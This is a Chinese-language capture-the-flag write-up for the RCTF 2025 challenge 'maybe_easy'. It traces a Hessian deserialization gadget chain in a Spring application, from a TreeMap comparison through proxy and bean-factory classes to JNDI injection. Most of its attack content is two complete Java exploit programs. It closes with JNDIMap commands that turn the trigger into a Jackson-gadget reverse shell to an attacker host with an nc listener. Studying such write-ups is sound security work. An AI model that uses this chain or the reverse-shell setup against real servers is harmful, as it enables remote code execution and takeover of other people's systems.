2025RCTFwp
maybe_easy
jar包下下来先看依赖,hessian4.0.66
入口在controller
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
package com.rctf.server.controller;
import com.rctf.server.tool.HessianFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class RCTFController {
@RequestMapping({"/hello"})
public String hello(@RequestParam(name = "data",required = false) String data) throws Exception {
Object obj = HessianFactory.deserialize(data);
return "hello";
}
}
|
hello路由传data反序列化
Maybe类里面的compareto方法想到打treeMap,而且还会调用InvocationHandler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
package com.rctf.server.tool;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Maybe extends Proxy implements Comparable<Object>, Serializable {
public Maybe(InvocationHandler h) {
super(h);
}
public int compareTo(Object o) {
try {
Method method = Comparable.class.getMethod("compareTo", Object.class);
Object result = this.h.invoke(this, method, new Object[]{o});
return (Integer)result;
} catch (Throwable e) {
throw new RuntimeException(e);
}
}
}
|
然后看hessian工厂类,定义了hessian的序列化和反序列化函数,设置白名单
1
2
3
4
5
6
7
|
static {
WHITE_PACKAGES.add("com.rctf.server.tool.");
WHITE_PACKAGES.add("java.util.");
WHITE_PACKAGES.add("org.apache.commons.logging.");
WHITE_PACKAGES.add("org.springframework.beans.");
WHITE_PACKAGES.add("org.springframework.jndi.");
}
|
搜索hessian反序列化文章:Hessian 反序列化知一二 | 素十八
直接找compareto的利用


然后我们去ysomap看一下这里链子怎么实现的

也就是说这里的compareTo能被TreeMap类触发,然后触发其他类的动态代理,显然是入口
接下来就是查找InvocationHandler的用法,看一下白名单里面哪些类继承了这个接口

分別看看这三个

没啥用

跟进去其实有个toString方法,不过后续利用还是个问题
最后看ObjectFactoryDelegatingInvocationHandler

invoke方法里面的objetFactory可控,可以调用getObject方法
接下来就是找能用的objectFactory类


显然可以用,它的getObject可以调用getBean方法,而且其中的参数都可控
接下来找符合条件的BeanFactory,翻找beans包下面没有可用的,查找jndi包的

查看它的getBean方法

那还说啥了,这里可以JNDI注入
接下来就是搓poc环节
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
package org.example;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.ysomap.ReflectionHelper;
import com.rctf.server.tool.Maybe;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.TreeMap;
import java.util.TreeSet;
public class exp3 {
public static void main(String[] args) throws Exception {
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
SimpleJndiBeanFactory factory = new SimpleJndiBeanFactory();
Class<?> c1 = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
Object o1 = unsafe.allocateInstance(c1);
unsafe.getAndSetObject(o1, unsafe.objectFieldOffset(c1.getDeclaredField("beanFactory")), factory);
String jndiUrl = "ldap://xxx:xxxx";
unsafe.getAndSetObject(o1, unsafe.objectFieldOffset(c1.getDeclaredField("targetBeanName")), jndiUrl);
InvocationHandler o2 = (InvocationHandler) unsafe.allocateInstance(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"));
long objectFactory = unsafe.objectFieldOffset(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredField("objectFactory"));
unsafe.getAndSetObject(o2, objectFactory, o1);
Maybe maybe = new Maybe(o2);
TreeSet treeSet = makeTreeSet(maybe, maybe);
String serialize = HessianFactory.serialize(treeSet);
HessianFactory.deserialize(serialize);
}
public static TreeSet makeTreeSet(Object v1, Object v2) throws Exception {
TreeMap<Object,Object> m = new TreeMap<>();
ReflectionHelper.setFieldValue(m, "size", 2);
ReflectionHelper.setFieldValue(m, "modCount", 2);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object node = nodeCons.newInstance(v1, new Object[0], null);
Object right = nodeCons.newInstance(v2, new Object[0], node);
ReflectionHelper.setFieldValue(node, "right", right);
ReflectionHelper.setFieldValue(m, "root", node);
TreeSet set = new TreeSet();
ReflectionHelper.setFieldValue(set, "m", m);
return set;
}
}
|
其实就是从后往前构造,先将SimpleJndiBeanFactory和jndi的恶意url填入TargetBeanObjectFactory的两个属性,然后传给ObjectFactoryDelegatingInvocationHandler的objectFactory,最后作为InvocationHandler传入到maybe这个类的代理,最外面套一个TreeMap触发,这里这个makeTreeSet函数是搬ysoMap里面的

当然这题也可以将url先放在SimpleJndiBeanFactory里面一块传给TargetBeanObjectFactory,同时这题是jdk8,也可以考虑不用unsafe反射
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
package org.example;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.TreeMap;
import com.rctf.server.tool.Maybe;
public class exp4 {
public static void main(String[] args) throws Throwable {
SimpleJndiBeanFactory factory = new SimpleJndiBeanFactory();
String url = "ldap://xxx:xxxx";
//可以在这一步设置url
factory.setShareableResources(url);
Class<?> c1 = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
Constructor<?> constructor = c1.getDeclaredConstructor(BeanFactory.class, String.class);
constructor.setAccessible(true);
ObjectFactory objectFactory = (ObjectFactory) constructor.newInstance(factory, url);
Class<?> c2 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> constructor2 = c2.getDeclaredConstructor(ObjectFactory.class);
constructor2.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor2.newInstance(objectFactory);
Maybe maybe = new Maybe(invocationHandler);
//其实这下面用优先队列那个compare也能触发,或者直接用TreeMap包装就行
TreeMap treeMap = new TreeMap();
treeMap.put(maybe,maybe);
String serialize = HessianFactory.serialize(treeMap);
HessianFactory.deserialize(serialize);
}
}
|
后面就是jndi注入,这里可以选择打jackson+springaop这条原生链反弹shell,利用jndimap起个服务反弹shell,或者用java-chains二次反序列化打内存马也行
之前一直没打明白,现在记录一下jndimap这玩意的用法
1
2
3
4
|
root@iZgw05z0rnhp390rdoq7z7Z:~# java -jar JNDIMap-0.0.3.jar
[RMI] Listening on 127.0.0.1:1099
[HTTP] Listening on 127.0.0.1:3456
[LDAP] Listening on 127.0.0.1:1389
|
然后触发点填入ldap://xxx:1389/Deserialize/Jackson/ReverseShell/xxx/4444
1
2
3
|
[LDAP] Received query: /Deserialize/Jackson/ReverseShell/xxx/4444
[Deserialize] [Jackson] [ReverseShell] Host: xxx Port: 4444
[LDAP] Sending serialized gadget
|
出现这个就成了,另一边要同时起nc监听